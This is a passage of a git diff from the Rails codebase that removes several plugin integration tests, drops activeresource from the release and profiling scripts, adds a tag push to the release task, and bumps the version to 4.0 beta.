-        File.expand_path(path)
-      } & expected_locales # remove locales external to Rails
-
-      assert_equal expected_locales, actual_locales
-
-      assert_equal "2", I18n.t(:foo)
-      assert_equal "1", I18n.t(:bar)
-    end
-
-    def test_namespaced_controllers_with_namespaced_routes
-      @plugin.write "config/routes.rb", <<-RUBY
-        Rails.application.routes.draw do
-          namespace :admin do
-            namespace :foo do
-              match "bar", :to => "bar#index"
-            end
-          end
-        end
-      RUBY
-
-      @plugin.write "app/controllers/admin/foo/bar_controller.rb", <<-RUBY
-        class Admin::Foo::BarController < ApplicationController
-          def index
-            render :text => "Rendered from namespace"
-          end
-        end
-      RUBY
-
-      boot_rails
-      require 'rack/test'
-      extend Rack::Test::Methods
-
-      get "/admin/foo/bar"
-      assert_equal 200, last_response.status
-      assert_equal "Rendered from namespace", last_response.body
-    end
-
-    def test_initializers
-      $plugin_initializer = false
-      @plugin.write "config/initializers/foo.rb", <<-RUBY
-        $plugin_initializer = true
-      RUBY
-
-      boot_rails
-      assert $plugin_initializer
-    end
-
-    def test_midleware_referenced_in_configuration
-      @plugin.write "lib/bukkits.rb", <<-RUBY
-        class Bukkits
-          def initialize(app)
-            @app = app
-          end
-
-          def call(env)
-            @app.call(env)
-          end
-        end
-      RUBY
-
-      add_to_config "config.middleware.use \"Bukkits\""
-      boot_rails
-    end
-  end
-end
diff --git a/tasks/release.rb b/tasks/release.rb
index 33aaee5a4b..650b381e0f 100644
--- a/tasks/release.rb
+++ b/tasks/release.rb
@@ -1,4 +1,4 @@
-FRAMEWORKS = %w( activesupport activemodel activerecord activeresource actionpack actionmailer railties )
+FRAMEWORKS = %w( activesupport activemodel activerecord actionpack actionmailer railties )
 
 root    = File.expand_path('../../', __FILE__)
 version = File.read("#{root}/RAILS_VERSION").strip
@@ -116,6 +116,7 @@ namespace :all do
 
   task :tag do
     sh "git tag #{tag}"
+    sh "git push --tags"
   end
 
   task :release => %w(ensure_clean_state build commit tag push)
diff --git a/tools/profile b/tools/profile
index a6e3b41900..6cc935bce5 100755
--- a/tools/profile
+++ b/tools/profile
@@ -1,14 +1,12 @@
 #!/usr/bin/env ruby
 # Example:
 #   tools/profile_requires activesupport/lib/active_support.rb
-#   tools/profile_requires activeresource/examples/simple.rb
 abort 'Use REE so you can profile memory and object allocation' unless GC.respond_to?(:enable_stats)
 
 ENV['NO_RELOAD'] ||= '1'
 ENV['RAILS_ENV'] ||= 'development'
 
 GC.enable_stats
-require 'rubygems'
 Gem.source_index
 require 'benchmark'
 
diff --git a/version.rb b/version.rb
index 254227ecf7..ec878f9dcf 100644
--- a/version.rb
+++ b/version.rb
@@ -1,7 +1,7 @@
 module Rails
   module VERSION #:nodoc:
-    MAJOR = 3
-    MINOR = 2
+    MAJOR = 4
+    MINOR = 0
     TINY  = 0
     PRE   = "beta"